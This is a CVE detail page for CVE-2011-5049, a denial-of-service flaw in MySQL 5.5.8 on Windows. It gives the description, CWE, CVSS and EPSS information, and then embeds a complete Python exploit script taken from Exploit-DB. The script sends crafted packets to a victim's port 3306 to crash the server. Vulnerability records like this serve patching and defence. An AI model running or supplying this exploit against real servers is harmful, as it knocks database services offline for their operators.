CVE-2011-5049 : Detail

CVE-2011-5049

2.55%V3
Network
2012-01-04
18h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

MySQL 5.5.8, when running on Windows, allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted packet to TCP port 3306.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18269

Publication date : 2011-12-23 23h00 +00:00
Author : Level
EDB Verified : No

import socket, sys print "\n" print "----------------------------------------------------------------" print "| MySQL 5.5.8 Null Ptr (windows) |" print "| Level Smash the Stack |" print "----------------------------------------------------------------" print "\n" buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00") buf2=("\x11\x00\x00\x00\x03set autocommit30") def usage(): print "usage : ./mysql.py <victim_ip>" print "example: ./mysql.py 192.168.1.22" def main(): if len(sys.argv) != 2: usage() sys.exit() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST = sys.argv[1] PORT = int(3306) s.connect((HOST,PORT)) print "[*] Connect" s.send(buf) print "[*] Payload 1 sent" s.send(buf2) print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n" s.close() if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Microsoft>>Windows >> Version *

References

http://www.exploit-db.com/exploits/18269
Tags : exploit, x_refsource_EXPLOIT-DB